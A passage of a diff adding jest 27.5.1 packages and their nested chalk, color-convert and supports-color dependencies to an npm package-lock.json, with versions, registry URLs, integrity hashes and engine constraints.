"sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-circus/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jest-circus/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/jest-circus/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-circus/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-cli": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-cli/-/jest-cli-27.5.1.tgz", + "integrity": "sha512-Hc6HOOwYq4/74/c62dEE3r5elx8wjYqxY0r0G/nFrLDPMFRu6RA/u8qINOIkvhxG7mMQ5EJsOGfRpI8L6eFUVw==", + "dependencies": { + "@jest/core": "^27.5.1", + "@jest/test-result": "^27.5.1", + "@jest/types": "^27.5.1", + "chalk": "^4.0.0", + "exit": "^0.1.2", + "graceful-fs": "^4.2.9", + "import-local": "^3.0.2", + "jest-config": "^27.5.1", + "jest-util": "^27.5.1", + "jest-validate": "^27.5.1", + "prompts": "^2.0.1", + "yargs": "^16.2.0" + }, + "bin": { + "jest": "bin/jest.js" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + }, + "peerDependencies": { + "node-notifier": "^8.0.1 || ^9.0.0 || ^10.0.0" + }, + "peerDependenciesMeta": { + "node-notifier": { + "optional": true + } + } + }, + "node_modules/jest-cli/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-cli/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-cli/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jest-cli/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/jest-cli/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-cli/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-config": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-config/-/jest-config-27.5.1.tgz", + "integrity": "sha512-5sAsjm6tGdsVbW9ahcChPAFCk4IlkQUknH5AvKjuLTSlcO/wCZKyFdn7Rg0EkC+OGgWODEy2hDpWB1PgzH0JNA==", + "dependencies": { + "@babel/core": "^7.8.0", + "@jest/test-sequencer": "^27.5.1", + "@jest/types": "^27.5.1", + "babel-jest": "^27.5.1", + "chalk": "^4.0.0", + "ci-info": "^3.2.0", + "deepmerge": "^4.2.2", + "glob": "^7.1.1", + "graceful-fs": "^4.2.9", + "jest-circus": "^27.5.1", + "jest-environment-jsdom": "^27.5.1", + "jest-environment-node": "^27.5.1", + "jest-get-type": "^27.5.1", + "jest-jasmine2": "^27.5.1", + "jest-regex-util": "^27.5.1", + "jest-resolve": "^27.5.1", + "jest-runner": "^27.5.1", + "jest-util": "^27.5.1", + "jest-validate": "^27.5.1", + "micromatch": "^4.0.4", + "parse-json": "^5.2.0", + "pretty-format": "^27.5.1", + "slash": "^3.0.0", + "strip-json-comments": "^3.1.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + }, + "peerDependencies": { + "ts-node": ">=9.0.0" + }, + "peerDependenciesMeta": { + "ts-node": { + "optional": true + } + } + }, + "node_modules/jest-config/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-config/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-config/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jest-config/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/jest-config/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-config/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-diff": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-27.5.1.tgz", + "integrity": "sha512-m0NvkX55LDt9T4mctTEgnZk3fmEg3NRYutvMPWM/0iPnkFj2wIeF45O1718cMSOFO1vINkqmxqD8vE37uTEbqw==", + "dependencies": { + "chalk": "^4.0.0", + "diff-sequences": "^27.5.1", + "jest-get-type": "^27.5.1", + "pretty-format": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-diff/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-diff/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-diff/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jest-diff/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/jest-diff/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-diff/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-docblock": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-docblock/-/jest-docblock-27.5.1.tgz", + "integrity": "sha512-rl7hlABeTsRYxKiUfpHrQrG4e2obOiTQWfMEH3PxPjOtdsfLQO4ReWSZaQ7DETm4xu07rl4q/h4zcKXyU0/OzQ==", + "dependencies": { + "detect-newline": "^3.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-each": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-each/-/jest-each-27.5.1.tgz", + "integrity": "sha512-1Ff6p+FbhT/bXQnEouYy00bkNSY7OUpfIcmdl8vZ31A1UUaurOLPA8a8BbJOF2RDUElwJhmeaV7LnagI+5UwNQ==", + "dependencies": { + "@jest/types": "^27.5.1", + "chalk": "^4.0.0", + "jest-get-type": "^27.5.1", + "jest-util": "^27.5.1", + "pretty-format": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-each/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-each/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-each/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jest-each/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/jest-each/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-each/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-environment-jsdom": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-environment-jsdom/-/jest-environment-jsdom-27.5.1.tgz", + "integrity": "sha512-TFBvkTC1Hnnnrka/fUb56atfDtJ9VMZ94JkjTbggl1PEpwrYtUBKMezB3inLmWqQsXYLcMwNoDQwoBTAvFfsfw==", + "dependencies": { + "@jest/environment": "^27.5.1", + "@jest/fake-timers": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/node": "*", + "jest-mock": "^27.5.1", + "jest-util": "^27.5.1", + "jsdom": "^16.6.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-environment-node": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-environment-node/-/jest-environment-node-27.5.1.tgz", + "integrity": "sha512-Jt4ZUnxdOsTGwSRAfKEnE6BcwsSPNOijjwifq5sDFSA2kesnXTvNqKHYgM0hDq3549Uf/KzdXNYn4wMZJPlFLw==", + "dependencies": { + "@jest/environment": "^27.5.1", + "@jest/fake-timers": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/node": "*", + "jest-mock": "^27.5.1", + "jest-util": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-get-type": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-27.5.1.tgz", + "integrity": "sha512-2KY95ksYSaK7DMBWQn6dQz3kqAf3BB64y2udeG+hv4KfSOb9qwcYQstTJc1KCbsix+wLZWZYN8t7nwX3GOBLRw==", + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-haste-map": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-haste-map/-/jest-haste-map-27.5.1.tgz", + "integrity": "sha512-7GgkZ4Fw4NFbMSDSpZwXeBiIbx+t/46nJ2QitkOjvwPYyZmqttu2TDSimMHP1EkPOi4xUZAN1doE5Vd25H4Jng==", + "dependencies": { + "@jest/types": "^27.5.1", + "@types/graceful-fs": "^4.1.2", + "@types/node": "*", + "anymatch": "^3.0.3", + "fb-watchman": "^2.0.0", + "graceful-fs": "^4.2.9", + "jest-regex-util": "^27.5.1", + "jest-serializer": "^27.5.1", + "jest-util": "^27.5.1", + "jest-worker": "^27.5.1", + "micromatch": "^4.0.4", + "walker": "^1.0.7" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + }, + "optionalDependencies": { + "fsevents": "^2.3.2" + } + }, + "node_modules/jest-jasmine2": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-jasmine2/-/jest-jasmine2-27.5.1.tgz", + "integrity": "sha512-jtq7VVyG8SqAorDpApwiJJImd0V2wv1xzdheGHRGyuT7gZm6gG47QEskOlzsN1PG/6WNaCo5pmwMHDf3AkG2pQ==", + "dependencies": { + "@jest/environment": "^27.5.1", + "@jest/source-map": "^27.5.1", + "@jest/test-result": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/node": "*", + "chalk": "^4.0.0", + "co": "^4.6.0", + "expect": "^27.5.1", + "is-generator-fn": "^2.0.0", + "jest-each": "^27.5.1", + "jest-matcher-utils": "^27.5.1", + "jest-message-util": "^27.5.1", + "jest-runtime": "^27.5.1", + "jest-snapshot": "^27.5.1", + "jest-util": "^27.5.1", + "pretty-format": "^27.5.1", + "throat": "^6.0.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-jasmine2/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-jasmine2/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-jasmine2/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jest-jasmine2/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/jest-jasmine2/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-jasmine2/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-leak-detector": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-leak-detector/-/jest-leak-detector-27.5.1.tgz", + "integrity": "sha512-POXfWAMvfU6WMUXftV4HolnJfnPOGEu10fscNCA76KBpRRhcMN2c8d3iT2pxQS3HLbA+5X4sOUPzYO2NUyIlHQ==", + "dependencies": { + "jest-get-type": "^27.5.1", + "pretty-format": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-matcher-utils": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-27.5.1.tgz", + "integrity": "sha512-z2uTx/T6LBaCoNWNFWwChLBKYxTMcGBRjAt+2SbP929/Fflb9aa5LGma654Rz8z9HLxsrUaYzxE9T/EFIL/PAw==", + "dependencies": { + "chalk": "^4.0.0", + "jest-diff": "^27.5.1", + "jest-get-type": "^27.5.1", + "pretty-format": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-matcher-utils/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-matcher-utils/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-matcher-utils/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jest-matcher-utils/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/jest-matcher-utils/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-matcher-utils/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-message-util": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-27.5.1.tgz", + "integrity": "sha512-rMyFe1+jnyAAf+NHwTclDz0eAaLkVDdKVHHBFWsBWHnnh5YeJMNWWsv7AbFYXfK3oTqvL7VTWkhNLu1jX24D+g==", + "dependencies": { + "@babel/code-frame": "^7.12.13", + "@jest/types": "^27.5.1", + "@types/stack-utils": "^2.0.0", + "chalk": "^4.0.0", + "graceful-fs": "^4.2.9", + "micromatch": "^4.0.4", + "pretty-format": "^27.5.1", + "slash": "^3.0.0", + "stack-utils": "^2.0.3" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-message-util/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-message-util/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-message-util/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jest-message-util/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/jest-message-util/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-message-util/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": 